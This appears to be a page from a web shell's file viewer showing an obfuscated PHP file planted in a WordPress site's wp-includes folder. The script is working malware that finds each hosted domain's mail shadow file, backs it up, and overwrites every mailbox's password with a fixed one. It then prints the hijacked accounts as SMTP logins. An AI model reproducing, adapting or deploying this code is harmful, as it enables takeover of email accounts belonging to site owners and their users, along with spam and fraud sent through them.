HEX
Server: Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 mod_fcgid/2.3.9 PHP/5.4.16
System: Linux dvm.vladweb.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: region-gk.ru (1016)
PHP: 7.3.33
Disabled: NONE
Upload Files
File: /home/region-gk.ru/data/www/region-gk.ru/wp-includes/xx.php
<?php 
 
goto vdd7G; WlnV3: $mGfjc = array(25, 587, 465, 110, 995, 143, 993); goto g3oRO; RdyAP: $T9RX0 = @explode("/", getcwd())[1]; goto GcOTo; nFJJo: error_reporting(0); goto SiH4u; vdd7G: set_time_limit(0); goto nFJJo; g3oRO: $VoyX3 = get_current_user(); goto RdyAP; YylgN: n0Cyr: goto vqUn0; GcOTo: if (!$T9RX0) { goto GKWKG; } goto tpZzL; tpZzL: $Jed3N = "/" . $T9RX0 . "/" . $VoyX3 . "/etc/"; goto QSNbW; DsQ7j: foreach ($VKlA6 as $xHDiP) { goto qhvC3; S1_V4: @($d_Zl7 = file_get_contents("/" . $T9RX0 . "/" . $VoyX3 . "/etc/" . $xHDiP . "/shadow")); goto RGS1L; qhvC3: if (!(strpos($xHDiP, ".") == true)) { goto Hd7av; } goto uojt0; w28IK: $R1s8F = crypt($CGcFQ, "$6$roottn$"); goto S1_V4; pbHvT: $CGcFQ = "imo.=-52R^2?5"; goto w28IK; RGS1L: $iVww_ = explode("
", $d_Zl7); goto YJqZa; KglQG: Hd7av: goto SjXgO; YJqZa: @link("/" . $T9RX0 . "/" . $VoyX3 . "/etc/" . $xHDiP . "/shadow", "/" . $T9RX0 . "/" . $VoyX3 . "/etc/" . $xHDiP . "/shadow.cl4w.bak"); goto l4r7A; oo78p: foreach ($iVww_ as $okEFL) { goto KWI2x; V1Q3a: fwrite($kSfx6, $QIxku . ":" . $R1s8F . ":16249:::::" . "
"); goto knr_3; knr_3: fclose($kSfx6); goto HGYqs; pUtFv: XVMZP: goto fW1d3; KWI2x: $QIxku = @explode(":", $okEFL)[0]; goto TQQiY; TQQiY: if (!$QIxku) { goto N7Gfz; } goto RklTU; M9KCI: N7Gfz: goto pUtFv; HGYqs: echo "---" . $xHDiP . "|25|" . $QIxku . "@" . $xHDiP . "|" . $CGcFQ . "<br>"; goto M9KCI; RklTU: $kSfx6 = fopen("/" . $T9RX0 . "/" . $VoyX3 . "/etc/" . $xHDiP . "/shadow", "ab"); goto V1Q3a; fW1d3: } goto BaAIk; BaAIk: vS3RC: goto KglQG; SjXgO: QDCev: goto mgxuq; l4r7A: @unlink("/" . $T9RX0 . "/" . $VoyX3 . "/etc/" . $xHDiP . "/shadow"); goto oo78p; uojt0: echo "<strong>" . $xHDiP . "</strong><br>"; goto pbHvT; mgxuq: } goto YylgN; FH3zg: ini_set("memory_limit", -1); goto WlnV3; QSNbW: $VKlA6 = @array_diff(@scandir($Jed3N), array("..", ".")); goto DsQ7j; SiH4u: ini_set("max_execution_time", 0); goto FH3zg; vqUn0: GKWKG: ?>